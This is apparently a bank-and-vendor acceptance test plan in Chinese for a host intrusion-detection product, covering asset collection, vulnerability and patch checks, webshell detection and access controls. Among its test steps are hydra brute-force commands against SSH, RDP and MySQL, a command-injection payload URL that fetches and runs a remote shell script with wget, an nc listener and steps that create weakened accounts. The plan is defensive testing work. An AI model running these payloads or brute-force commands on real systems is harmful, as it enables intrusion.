| 人员签字 | 建行：\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_ 厂商：\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_ |

### Web站点信息采集

|  |  |
| --- | --- |
| 案例编号 | Web站点采集 |
| 测试目的 | 能够识别出所有运行的Web站点，包括该站点的域名、安装路径等 |
| 预置条件 | 预先安装agent；预先在/home/soft/tomcat/webapps下放一个test站点 |
| 测试拓扑： | 无 |
| 测试方法 | 查看主机资产中的网站功能，即可 |
| 预期结果 | 能够识别出所有运行的Web站点，包括该站点的域名、安装路径等  站点域名—localhost:8080/test  安装路径--/home/soft/tomcat/webapps/ |
| 测试工具： |  |
| 测试记录 |  |
| 测试结果 |   口 通过 口 未通过 口 未测试 |
| 备注 |  |
| 人员签字 | 建行：\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_ 厂商：\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_ |

### Web框架信息采集

|  |  |
| --- | --- |
| 案例编号 | Web框架采集 |
| 测试目的 | 能够识别出所有Web站点中使用的框架，并且识别出框架版本、使用该web框架的web应用的路径等信息 |
| 预置条件 | 预先安装agent |
| 测试拓扑： | 无 |
| 测试方法 | 查看主机资产中的web框架功能，即可 |
| 预期结果 | 能够识别出所有Web站点中使用的框架  Struts2  版本：2.5.12  路径：/home/soft/tomcat/webapps/  Spring  版本：4.1.9  路径：/home/soft/tomcat/webapps/  Fastjson  版本：1.2.37  安装路径：/home/soft/tomcat/webapps/ |
| 测试工具： |  |
| 测试记录 |  |
| 测试结果 |  支持采集struts2 口 通过 口 未通过 口 未测试  支持采集spring 口 通过 口 未通过 口 未测试  支持采集fastjson 口 通过 口 未通过 口 未测试 |
| 备注 |  |
| 人员签字 | 建行：\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_ 厂商：\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_ |

### 操作系统账号信息采集

|  |  |
| --- | --- |
| 案例编号 | 操作系统账号信息采集 |
| 测试目的 | 支持采集主机上的账号信息，可采集账号的用户名、是否Root权限、上次登录时间、所属用户组、密码过期时间、上次密码修改时间； |
| 预置条件 | 预先安装agent |
| 测试拓扑： | 无 |
| 测试方法 | 1. Oracle-76-01上登录root后执行useradd test新建用户test，执行passwd test根据提示修改密码为ccb@test 2. 执行su - test 3. 执行exit，退回到root账户下vi /etc/shadow 找到test的密码过期字段（第五个字段）修改为500 4. 重新采集资产 |
| 预期结果 | 支持采集主机上的test账号信息:   1. test帐号的是否root权限显示为：否 2. test帐号上次登录时间为步骤2操作时的时间 3. 所属用户组为test 4. test帐号密码过期时间为测试日期往后推的500天 5. test帐号上次修改密码的时间为步骤1操作的时间 |
| 测试工具： |  |
| 测试记录 |  |
| 测试结果 |   口 通过 口 未通过 口 未测试 |
| 备注 |  |
| 人员签字 | 建行：\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_ 厂商：\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_ |

### 开源软件信息采集

|  |  |
| --- | --- |
| 案例编号 | 开源软件采集 |
| 测试目的 | 支持采集主机上的开源软件信息，可采集软件名、版本、路径信息等信息，开源软件包括：Apache solr，kibana、kubernetes等 |
| 预置条件 | 安装Apache solr、kibana、kubernetes |
| 测试拓扑： | 无 |
| 测试方法 | 查看资产采集模块 |
| 预期结果 | Apache solr  版本：8.1.0  安装路径： /home/soft/tomcat/webapps/  Kibana  版本：5.6.0  安装路径：/home/soft/kibana  Kubernetes  版本：1.16.2  安装路径：/usr/bin/minikube |
| 测试工具： |  |
| 测试记录 |  |
| 测试结果 | Apache solr  口 通过 口 未通过 口 未测试  Kibana 口 通过 口 未通过 口 未测试  Kubernetes 口 通过 口 未通过 口 未测试 |
| 备注 |  |
| 人员签字 | 建行：\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_ 厂商：\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_ |

### 网络访问信息采集及可视化

|  |  |
| --- | --- |
| 案例编号 | 网络访问信息采集及可视化 |
| 测试目的 | 能够以流量线以及可视化方式显示所有访问Agent所在主机的互访关系，并形成访问关系拓扑图，拓扑图需显示主机信息、访问流量线、以及主机分组相关信息。 |
| 预置条件 | 能够根据实际业务，用位置、环境和应用三个标签创建工作组group1、group2，  group1—位置：北京 环境：测试 应用：UASS  group2—位置：北京 环境：测试 应用：SSMC  Oracle-76-01、Redhat-67-01 两台主机加入group1  Oracle-76-02 加入group2  一台未安装Agent的主机 |
| 测试拓扑： | 无 |
| 测试方法 | 1. 在 Oracle-76-01执行：mysql -u root -p -h （Oracle-76-02）,输入正确密码登录  2. 在Redhat-67-01执行：mysql -u root -p -h （Oracle-76-02）,输入正确密码登录  3. 在Redhat-67-01执行：curl（Oracle-76-01）:8080  4. 在未安装Agent的主机执行：curl（Oracle-76-01）:8080  5. 登录服务端，查看流量可视化图； |
| 预期结果 | 结果1：可通过业务拓扑图，查看到不同业务组之间的访问关系，可查看到四条流量线。  结果2：可在拓扑图中，点击 Oracle-76-01，查看主机基本信息，包含：所属业务组group1、主机ip、监听的协议端口（tcp:80、tcp：8080）  结果3：可通过点 Oracle-76-01与Redhat-67-01两台主机之间的流量线，查看 Oracle-76-01的基本信息、Redhat-67-01的基本信息、访问的协议端口（tcp:3306）、访问的服务（mysql）、访问计数（1次）、首次访问时间、最近访问时间 |
| 测试工具： |  |
| 测试记录 |  |
| 测试结果 |   口 通过 口 未通过 口 未测试 |
| 备注 |  |
| 人员签字 | 建行：\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_ 厂商：\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_ |

## 风险监测

### 安全补丁检查及修复

|  |  |
| --- | --- |
| 案例编号 | 支持识别出现有系统中所缺失的安全补丁。 |
| 测试目的 | 检查主机安全产品能否识别出主机上未安装的补丁，以及补丁的风险描述、验证信息、修复建议、漏洞利用原理、所影响业务、CVE或KB信息，修复漏洞是否需要重启等 |
| 预置条件 | 1. 主机操作系统到服务端网络访问关系通畅 2. 主机存在缺失的安全补丁 3. 登录Windows server2012主机查看 “控制面板”--“程序和功能”--“查看已安装更新”中确认没有安装过KB4534309 |
| 测试拓扑： | 无需 |
| 测试方法 | 1. 登录服务端 2. 可以对主机Oracle-76-01、Windows server2012进行安全补丁扫描检查 3. 等待扫描结束，查看体检结果 4. 查看Windows server2012主机的系统漏洞，对扫描的KB4534309补丁点击修复按钮，修复成功后登录主机查看 “控制面板”--“程序和功能”--“查看已安装更新”中是否包括相应KB号的补丁   5．查看Oracle-76-01主机的系统漏洞，对扫描的CVE-2019-11811 Linux kernel 资源管理错误漏洞补丁点击修复按钮，修复成功后登录主机查看已安装的补丁，执行rpm –qa |grep python-perf |
| 预期结果 | 结果1（步骤3）：能够识别出Windows系统漏洞  结果2（步骤3）：能够识别出Linux系统漏洞  结果3（步骤4）：Windows补丁修复成功，有包括KB4534309  结果4（步骤5）：Linux补丁修复成功，漏洞所影响的应用版本号应大于python-perf-3.10.0-957.el7.x86\_64 |
| 测试工具： |  |
| 测试记录 |  |
| 测试结果 | 识别Windows漏洞  口 通过 口 未通过 口 未测试  识别Linux漏洞  口 通过 口 未通过 口 未测试  支持Windows漏洞修复 口 通过 口 未通过 口 未测试  支持Linux漏洞修复 口 通过 口 未通过 口 未测试 |
| 备注 |  |
| 人员签字 | 建行：\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_ 厂商：\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_ |

### 暴力破解检查

|  |  |
| --- | --- |
| 测试目的 | 支持暴力破解阈值设定，能够检测暴力破解行为，当发现暴力破解行为时，能够拉黑攻击IP。 |
| 预置条件 | 服务器上开放远程连接端口，安装暴力破解工具 |
| 测试拓扑： | 无 |
| 测试方法 | 1. 登录服务端， 2. 打开对应测试主机的暴力破解防护和暴力破解成功监测 3. 在攻击机oracle-76-01上对测试机redhat-67-01和Windows server2012执行不同的攻击语句(密码字典包含正确的登录密码)： 爆破ssh，执行命令：hydra  -L 用户名字典路径 -P 密码字典路径 -vV %ip% ssh   爆破rdp，执行命令：hydra  -L 用户名字典路径 -P 密码字典路径 -vV %ip% rdp   1. 当爆破工具爆破完成后在服务端查看是否有暴力破解成功和不成功的告警 2. 打开Oracle-76-02的暴力破解防护阻断开关   爆破Oracle-76-02的MySQL，执行命令：hydra  -L 用户名字典路径 -P 密码字典路径 -vV %ip% mysql   1. 检查攻击机与Oracle-76-02的MySQL3306端口是否能正常通讯(telnet 被爆破主机ip 3306)   在服务端手动解封攻击机的阻断，检测攻击机与Oracle-76-02上MySQL3306端口的通讯(telnet 被爆破主机ip 端口) |
| 预期结果 | 结果1（步骤4）：能够检查出暴力破解不成功的告警信息。  结果2（步骤4）：能够检查出成功爆破的异常登录告警信息。  结果3：攻击机无法与Oracle-76-02的MySQL3306端口通讯  结果4：手动解封后，攻击机与Oracle-76-02上MySQL3306端口通讯正常 |
| 测试工具 |  |
| 测试记录 |  |
| 测试结果 | 支持发现rdp爆破行为并封禁对应的IP  口 通过 口 未通过 口 未测试  支持发现mysql爆破行为并封禁对应的IP 口 通过 口 未通过 口 未测试  支持发现ssh爆破行为并封禁对应的IP  口 通过 口 未通过 口 未测试  支持解封封禁IP 口 通过 口 未通过 口 未测试 |
| 备注 |  |
| 人员签字 | 建行：\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_ 厂商：\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_ |

### webshell检查

|  |  |
| --- | --- |
| 测试目的 | 支持在1分钟内及时发现落盘的web shell文件，能够对webshell进行告警，可配置对webshell自动隔离 |
| 预置条件 | 多种类型的webshel（100个），将其中的10个样本放到10级目录下，加密压缩包名为：webshell-100.zip、密码为ccb |
| 测试拓扑： | 无 |
| 测试方法 | 1. 服务端上开启webshell检测 2. 将webshell-100.zip传到/home/soft/tomcat/webapps 3. 执行解压命令：unzip webshell-100.zip ,根据提示输入解压密码ccb 4. 1-2分钟后到服务端查看监测到的webshell数量 5. 服务端上开启webshell自动隔离 6. 将2个webshell上传到/home/soft/nginx/html a28df9a4d150611ede643bbdf2ec8712d5cca10f.php   114.jsp   1. 1分钟左右在服务端查看告警，在主机上查看/home/soft/nginx/html目录下是否存在上传的2个webshell 2. 进入相应模块，对webshell检测规则进行可信度配置 |
| 预期结果 | 结果1（步骤1-2）：记录webshell检出率  结果2（步骤4-6）：2个webshell文件不存在，被自动隔离，服务端的隔离区内显示2个webshell告警信息 (a28df9a4d150611ede643bbdf2ec8712d5cca10f.php和114.jsp)  结果3：可对检测规则进行可信度配置 |
| 测试工具 |  |
| 测试结果 | webshell检出率95%以上 口 通过 口 未通过 口 未测试  webshell检出率90%-95% 口 通过 口 未通过 口 未测试  webshell检出率80%-90% 口 通过 口 未通过 口 未测试  webshell检出率80%以下 口 通过 口 未通过 口 未测试  支持webshell自动隔离 口 通过 口 未通过 口 未测试  支持检测规则的可信度配置 口 通过 口 未通过 口 未测试 |
| 备注 |  |
| 人员签字 | 建行: 厂商： |

### 弱口令检查

|  |  |
| --- | --- |
| 案例编号 | 弱口令检查 |
| 测试目的 | 能够检查出主机上部署软件所存在的弱口令，软件包括ssh、MySQL、FTP、rdp、ElasticSearch、PostgreSQL等。 |
| 预置条件 | 1. 主机操作系统到服务端网络访问关系通畅； 2. 主机上正确安装ssh、MySQL、FTP、rdp、ElasticSearch、PostgreSQL应用 3. 在服务端对弱口令库新增ccb123456 |
| 测试拓扑： | 无需 |
| 测试方法 | 1. 测试主机上设置弱密码   **ssh**：passwd ccb 根据提示修改ssh密码为ccb123456  **Mysql**：登录mysql;  执行use mysql;  执行update user set password=password(‘ccb123456’) where user=’root’;  执行flush privileges;  执行quit  **ftp**：通过passwd 修改redhat-67-02机器上的ftp登录用户testftp的密码为ccb123456  **Rdp**:打开cmd，执行net user administrator \* ，根据提示修改密码为ccb123456  **ElasticSearch**：curl -H "Content-Type:application/json" -XPOST -u elastic 'http://127.0.0.1:9200/\_xpack/security/user/elastic/\_password' -d '{ "password" : "ccb123456" }'  **PostgreSQL**：使用psql，连接到Postgres Server，执行alter user postgres with password ‘ccb123456’   1. 登录服务端，对主机进行弱口令检查 2. 等待扫描结束，查看结果 |
| 预期结果 | 能够检查出主机上部署软件所存在的弱口令，ssh、MySQL、FTP、【Windows】rdp、ElasticSearch、PostgreSQL这些软件的若口均为ccb123456。 |
| 测试工具 |  |
| 测试记录 |  |
| 测试结果 | 支持检测ssh弱口令  口 通过 口 未通过 口 未测试  支持检测mysql弱口令  口 通过 口 未通过 口 未测试  支持检测ftp弱口令  口 通过 口 未通过 口 未测试  支持检测rdp弱口令  口 通过 口 未通过 口 未测试  支持检测elasticsearch弱口令 口 通过 口 未通过 口 未测试  支持检测postgresql弱口令  口 通过 口 未通过 口 未测试 |
| 备注 |  |
| 人员签字 | 建行：\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_ 厂商：\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_ |

### 账号风险检查

|  |  |
| --- | --- |
| 案例编号 | 可识别高权限账号、空密码账号，支持高危账号忽略、禁用、信任 |
| 测试目的 | 测试产品是否具有账号风险检查功能 |
| 预置条件 | 主机操作系统到服务端网络访问关系通畅 |
| 测试拓扑： | 无需 |
| 测试方法 | 1. 登录测试主机Oracle-76-02，新建一个账号test1：   useradd test1;passwd test1（根据提示设置密码）  构建高权限帐号：usermod -g root test1  useradd test2；passwd test2（根据提示设置密码）  构建空密码帐号：passwd -d test2   1. 登录服务端对Oracle-76-02主机进行相应检测 2. 在服务端对Oracle-76-02检测到的高危账号test1进行禁用 3. Oracle-76-01上执行ssh test1@{Oracle-76-02的ip}登录Oracle-76-02 |
| 预期结果 | 结果1（步骤1-2）: 可识别Oracle-76-02上存在高权限账号test1、空密码账号test2；  结果2（步骤3-4）: test1被禁用后无法登录Oracle-76-02 |
| 测试工具： |  |
| 测试记录 |  |
| 测试结果 | 支持高危帐号、空密码帐号检测 口 通过 口 未通过 口 未测试  支持高危帐号禁用 口 通过 口 未通过 口 未测试 |
| 备注 |  |
| 人员签字 | 建行：\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_ 厂商：\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_ |

### 账号完整性监控

|  |  |
| --- | --- |
| 案例编号 | 账号完整性监控 |
| 测试目的 | 支持监控账号完整性，可发现用户名修改、新增或者删除行为。 |
| 预置条件 |  |
| 测试拓扑： |  |
| 测试方法 | 1. 开启账号完整性监控 2. 在客户端主机下操作新增、修改密码、修改权限、修改用户名、删除账号一系列操作   Linux主机账号管理：  新建用户test\_user  #useradd test\_user  修改test\_user用户密码为123  #passwd test\_user  密码输入123  修改test\_user权限为root组  #usermod -g root test\_user  修改账号test\_user用户名为ccb\_user  #usermod -l ccb\_user -d /home/ccb\_user -m test\_user  删除账号ccb\_user  #userdel -r ccb\_user |
| 预期结果 | 服务端可以看到5条告警为：   1. 新增用户test\_user 2. test\_user密码被修改 3. test\_user权限变更为root组 4. test\_user用户名被修改为ccb\_user 5. 账号ccb\_user被删除 |
| 测试工具 |  |
| 测试记录 |  |
| 测试结果 | 支持检测新增帐号行为 口 通过 口 未通过 口 未测试  支持检测修改帐号名称、密码和权限行为 口 通过 口 未通过 口 未测试  支持检测删除帐号行为 口 通过 口 未通过 口 未测试 |
| 备注 |  |
| 人员签字 | 建行：\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_ 厂商：\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_ |

### 软件配置缺陷检测

|  |  |
| --- | --- |
| 案例编号 | 检测主流中间件:Apache、weblogic、nginx以及主流数据库mysql的配置缺陷，说明存在的风险，并且提供修改方案。比如启动权限过高，允许列出目录，泄露容器选型和版本信息； |
| 测试目的 | 测试产品是否具有中间件配置缺陷检查功能 |
| 预置条件 | 1. 主机操作系统到服务端网络访问关系通畅 2. 主机预先安装Apache、weblogic、mysql、nginx |
| 测试拓扑： | 无需 |
| 测试方法 | 1. 以root启动mysql、nginx（环境准备时以root启动） 2. 修改apache配置文件vi /home/soft/httpd/conf/httpd.conf，在<Directory>节点下添加Options Indexes FollowSymLinks 3. 修改weblogic配置文件vi /home/soft/weblogic/ /wlserver\_10.3/server/lib/consoleapp/webapp/WEB-INF/weblogic.xml   添加<index-directory-enabled>true</index-directory-enabled>   1. 对主机进行配置风险扫描 |
| 预期结果 | 结果1：能扫描到mysql、nginx启动权限过高  结果2：能列出apache、weblogic允许目录列出风险 |
| 测试工具： |  |
| 测试记录 | 0 |
| 测试结果 | 支持检测mysql配置缺陷  口 通过 口 未通过 口 未测试  支持检测nginx配置缺陷 口 通过 口 未通过 口 未测试  支持检测apache配置缺陷 口 通过 口 未通过 口 未测试  支持检测weblogic配置缺陷 口 通过 口 未通过 口 未测试 |
| 备注 |  |
| 人员签字 | 建行：\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_ 厂商：\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_ |

### 开源软件漏洞匹配

|  |  |
| --- | --- |
| 案例编号 | 开源软件采集 |
| 测试目的 | 支持主机上的开源软件漏洞的匹配，开源软件包括：fastjson、Apache solr，kibana、kubernetes等 |
| 预置条件 | 应用中带有fastjson；安装Apache solr、kibana、kubernetes |
| 测试拓扑： | 无 |
| 测试方法 | 查看资产采集模块 |
| 预期结果 | Fastjson  版本：1.2.37  安装路径：/home/soft/tomcat/webapps/  存在漏洞： CNNVD-201907-699反序列化漏洞  Apache solr  版本：8.1.0  安装路径： /home/soft/tomcat/webapps/  存在漏洞： CVE-2019-0193授权问题漏洞  Kibana  版本：5.6.0  安装路径：/home/soft/kibana  存在漏洞： CVE-2019-7609命令注入漏洞  Kubernetes  版本：1.16.2  安装路径：/ usr/bin/minikube  存在漏洞：   1. Google Kubernetes 资源管理错误漏洞（ CVE-2020-8551） 2. Google Kubernetes API Server 资源管理错误漏洞（CVE-2019-11254） |
| 测试工具： |  |
| 测试记录 |  |
| 测试结果 | 检测到fastjson漏洞  口 通过 口 未通过 口 未测试  检测到Apache solr漏洞 口 通过 口 未通过 口 未测试  检测到Kibana漏洞 口 通过 口 未通过 口 未测试  检测到Kubernetes漏洞 口 通过 口 未通过 口 未测试 |
| 备注 |  |
| 人员签字 | 建行：\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_ 厂商：\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_ |

### 进程行为监控

|  |  |
| --- | --- |
| 案例编号 | 支持对命令执行漏洞所调起的恶意命令告警 |
| 测试目的 | 测试产品是否能够发现命令执行行为 |
| 预置条件 | 部署环境中存在命令执行漏洞， |
| 测试拓扑： | 无需 |
| 测试方法 | 1. 将提前准备好的漏洞文件(code\_exec.php)放入Web站点目录下。 2. 构造命令执行payload: [http://ip/code\_exec.php?shell=/bin/bash%20-c%20"$(wget%20-q%20-O-%20http://ip/shell)"](http://XX.XX.XX.XX/code_exec.php?shell=/bin/bash%20-c%20%22$(wget%20-q%20-O-%20http:/192.168.31.100/shell)%22) 并直接访问payload 3. 页面能够返回执行结果。 |
| 预期结果 | 结果1: 服务端能够告警，有主机存在命令执行漏洞。  结果2: 服务端不能发现命令执行。 |
| 测试工具： |  |
| 测试记录 |  |
| 测试结果 |   口 通过 口 未通过 口 未测试 |
| 备注 |  |
| 人员签字 | 建行：\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_ 厂商：\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_ |

### 全盘木马实时监测

|  |  |
| --- | --- |
| 案例编号 | 支持主机全盘文件的实时监测防护，包括对网络磁盘的监测防护 |
| 测试目的 | 测试产品是否支持本地磁盘及网络磁盘的文件监控,是否可以对新增文件全部进行实时木马检测 |
| 预置条件 | 准备40个木马样本和10个普通文件，测试主机挂载网络磁盘 |
| 测试拓扑： |  |
| 测试方法 | 1. 登录服务端，开启全盘文件监控防护和病毒实时防护功能 2. 在测试主机系统根目录下新建/test目录 3. 将40个木马样本和10个普通文件上传至/test 4. 在/home/ap/nas目录下挂载CFS网络磁盘 5. 将40个木马样本和10个普通文件分别上传至挂载的网络磁盘/home/ap/nas目录下 6. 服务端上查看各个目录下是否都可以实时产生木马告警。 |
| 预期结果 | 结果1（步骤2-3）：服务端上确认/test目录下的病毒木马检出率  结果2（步骤4-5）：服务端上实时监测到/home/ap/nas的病毒木马 |
| 测试工具： |  |
| 测试记录 |  |
| 测试结果 | 支持本地盘监控  口 通过 口 未通过 口 未测试  支持网络磁盘监控 口 通过 口 未通过 口 未测试  病毒木马检出率95%以上 口 通过 口 未通过 口 未测试  病毒木马检出率90%-95% 口 通过 口 未通过 口 未测试  病毒木马检出率80%-90% 口 通过 口 未通过 口 未测试  病毒木马检出率80%以下 口 通过 口 未通过 口 未测试 |
| 备注 |  |
| 人员签字 | 建行：\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_ 厂商：\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_ |

## 安全防护

### 端口安全策略

|  |  |
| --- | --- |
| 案例编号 | 端口安全策略 |
| 测试目的 | 支持端口安全规则设置，设置规则对端口的访问性进行控制 |
| 预置条件 | 开放了22、80远程连接端口 |
| 测试拓扑： |  |
| 测试方法 | 1. 进入端口安全策略设置 2. Oracle-76-01设置端口策略，开放所有端口，22端口设置为禁止访问，确认保存，Oracle-76-02执行telnet {Oracle-76-01的ip} 22   telnet {Oracle-76-01的ip} 80   1. Redhat-67-01上设置端口策略，关闭所有端口，22端口设置为允许访问，确认保存，Redhat-67-02执行telnet {Redhat-67-01的ip} 80   telnet {Redhat-67-01的ip} 22端口 |
| 预期结果 | 结果1（步骤2）：22端口连接失败，80端口连接成功  结果2（步骤3）：22端口连接成功，80端口连接失败 |
| 测试工具 |  |
| 测试记录 |  |
| 测试结果 | 口 通过 口 未通过 口 未测试 |
| 备注 |  |
| 人员签字 | 建行：\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_ 厂商：\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_ |

### 文件目录保护

|  |  |
| --- | --- |
| 案例编号 | 文件目录保护 |
| 测试目的 | 支持对文件和目录的防护；同时支持自定义目录禁止对指定位置文件的操作，包括文件创建、删除、读取等行为； |
| 预置条件 | 1. Windows server2012主机上创建c:\test，在c:\test目录下创建a.txt 2. Oracle-76-01上创建目录/tmp/test/，并且在目录下创建a.php |
| 测试拓扑： | 无 |
| 测试方法 | 1. 在服务端设置Windows server2012保护的目录为c:\test； 2. 开启阻断模式，在Windows server2012的c:\test目录下操作打开a.txt、创建b.txt、删除a.txt 3. 设置Oracle-76-01保护目录为/tmp/test/ 4. 开启阻断模式，在Oracle-76-01的/tmp/test/目录下进行vi a.php、touch b.php、rm -f a.php文件 |
| 预期结果 | 结果1（步骤1-2）：无法打开a.txt，无法创建b.txt，无法删除a.txt；并且在服务端上可以看到Windows server2012系统c:\test目录下创建、删除、读取文件被拦截的告警  结果2（步骤3-4）：无法打开a.php，无法创建b.php，无法删除a.php,在服务端上可以看到Oracle-76-01上/tmp/test/目录下的创建、删除、读取文件的操作被拦截的告警 |
| 测试工具 |  |
| 测试记录 |  |
| 测试结果 | 支持Windows 口 通过 口 未通过 口 未测试  支持Linux 口 通过 口 未通过 口 未测试 |
| 备注 |  |
| 人员签字 | 建行：\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_ 厂商：\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_ |

### 注册表保护

|  |  |
| --- | --- |
| 案例编号 | 注册表保护 |
| 测试目的 | 支持注册表防护，同时支持自定义防护规则，包括注册表项的删除、创建 |
| 预置条件 |  |
| 测试拓扑： | 无 |
| 测试方法 | 1. 先执行Win+r,然后输入regedit回车 2. Windows测试主机上的注册表路径HKEY\_USERS\S-1-5-20创建注册表项为test 3. 在服务端设置对HKEY\_USERS\S-1-5-20\test注册表的保护，禁止注册表项的创建和删除 4. 在HKEY\_USERS\S-1-5-20\test路径下进行创建表项abc 5. 在HKEY\_USERS\S-1-5-20\路径下删除test注册表项 |
| 预期结果 | 结果1：创建abc、删除test操作被拦截，并且在服务端上可以看到相应操作被拦截的告警 |
| 测试工具 |  |
| 测试记录 |  |
| 测试结果 | 支持防护注册表项的创建 口 通过 口 未通过 口 未测试  支持防护注册表项的删除 口 通过 口 未通过 口 未测试 |
| 备注 |  |
| 人员签字 | 建行：\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_ 厂商：\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_ |

### 进程白名单

|  |  |
| --- | --- |
| 案例编号 | 进程白名单 |
| 测试目的 | 通过添加进程白名单，对非白名单进程的启动进行告警，可对系统进程自动添加至白名单。 |
| 预置条件 | 测试主机上有安装nc命令 |
| 测试拓扑： | 无 |
| 测试方法 | 1. 选择对应的服务器redhat-67-01进程白名单 2. 手动添加系统进程到进程白名单(支持一键添加系统进程) 3. 在主机上运行非系统进程nc -lv 6666 & 4. 在服务端查看告警 |
| 预期结果 | 服务端查看到nc进程为非授权进程的告警 |
| 测试工具 |  |
| 测试记录 |  |
| 测试结果 | 口 通过 口 未通过 口 未测试 |
| 备注 |  |
| 人员签字 | 建行：\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_ 厂商：\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_ |

### 扫描防护

|  |  |
| --- | --- |
| 案例编号 | 扫描防护 |
| 测试目的 | 支持一段时间内对主机多个端口尝试连接的扫描探测行为进行告警。 |
| 预置条件 | 1.攻击机上安装nmap；  2.测试主机上安装agent，且攻击机与测试主机网络和端口要互通，并开启相应的检测 |
| 测试拓扑： | 无 |
| 测试方法 | 1. 在服务端设置扫描封禁规则，10秒内响应某个请求连接的端口数50个，则冻结该ip 2. 在攻击机Oracle-76-02上用nmap扫测试主机Oracle-76-01   nmap -P 60000-61000 IP(Oracle-76-01)   1. 在服务端查看告警 |
| 预期结果 | 结果1（步骤1-3）：可以看到Oracle-76-01被Oracle-76-02扫描端口的告警，告警详情罗列的端口在60000-61000范围内 |
| 测试工具 | nmap |
| 测试记录 |  |
| 测试结果 | 口 通过 口 未通过 口 未测试 |
| 备注 |  |
| 人员签字 | 建行：\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_ 厂商：\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_ |

### 主机组的安全访问策略与规则设置

|  |  |
| --- | --- |
| 案例编号 | 主机组的安全访问策略与规则设置 |
| 测试目的 | 支持创建策略集，并创建策略集应用的范围（业务组）和策略规则, 支持设置业务组内的访问策略规则 |
| 预置条件 | 能够根据实际业务，用位置、环境和应用三个标签创建工作组group1、group2  group1—位置：北京 环境：测试 应用：UASS  group2—位置：北京 环境：测试 应用：SSMC  Oracle-76-01加入group1  Oracle-76-02加入group2  Oracle-76-01角色为web  Oracle-76-02角色为mysql |
| 测试拓扑： | 无 |
| 测试方法 | 1. 新建策略集test；  2. 点击策略集详情，将工作组group1、group2添加至策略集test的覆盖范围  3. 将group1和group2开启防护模式  4. 点击添加工作组内规则，允许角色web访问角色mysql的3306端口的mysql服务，并下发规则  5. 在Oracle-76-01执行：mysql -u root -p -h （Oracle-76-02IP）,输入正确密码登录  6. 将Oracle-76-02修改至group1中  7. 在Oracle-76-01执行：mysql -u root -p -h （Oracle-76-02IP）,输入正确密码登录 |
| 预期结果 | 结果1（步骤5）：使用Oracle-76-01访问Oracle-76-02的3306端口的mysql服务失败  结果2（步骤7）：使用Oracle-76-01访问Oracle-76-02的3306端口的mysql服务成功 |
| 测试工具 |  |
| 测试记录 |  |
| 测试结果 | 口 通过 口 未通过 口 未测试 |
| 备注 |  |
| 人员签字 | 建行：\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_ 厂商：\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_ |

### 规则库的自动更新

|  |  |
| --- | --- |
| 案例编号 | 规则库的自动更新 |
| 测试目的 | 支持连通厂商网络，实现自动更新规则库；在未联网的状态下，支持服务端离线更新规则库 |
| 预置条件： | 厂商准备高低两个版本的规则库 |
| 测试拓扑： | 无 |
| 测试方法 | 1. 进入服务端，打开相应的规则更新模块 2. 上传高版本的规则库 3. 30分钟后在服务端查看oracle-76-01的规则库版本 |
| 预期结果 | Oracle-76-01在30分钟之内可以自动同步最新的规则库，规则库的版本更新为厂商准备的高版本的规则库号 |
| 测试工具 |  |
| 测试记录 |  |
| 测试结果 | 口 通过 口 未通过 口 未测试 |
| 备注 |  |
| 人员签字 | 建行：\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_ 厂商：\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_ |

### 主机组的安全访问策略与规则设置

|  |  |
| --- | --- |
| 案例编号 | 主机组的安全访问策略与规则设置 |
| 测试目的 | 支持创建策略集，并创建策略集应用的范围（业务组）和策略规则, 支持设置业务组内的访问策略规则 |
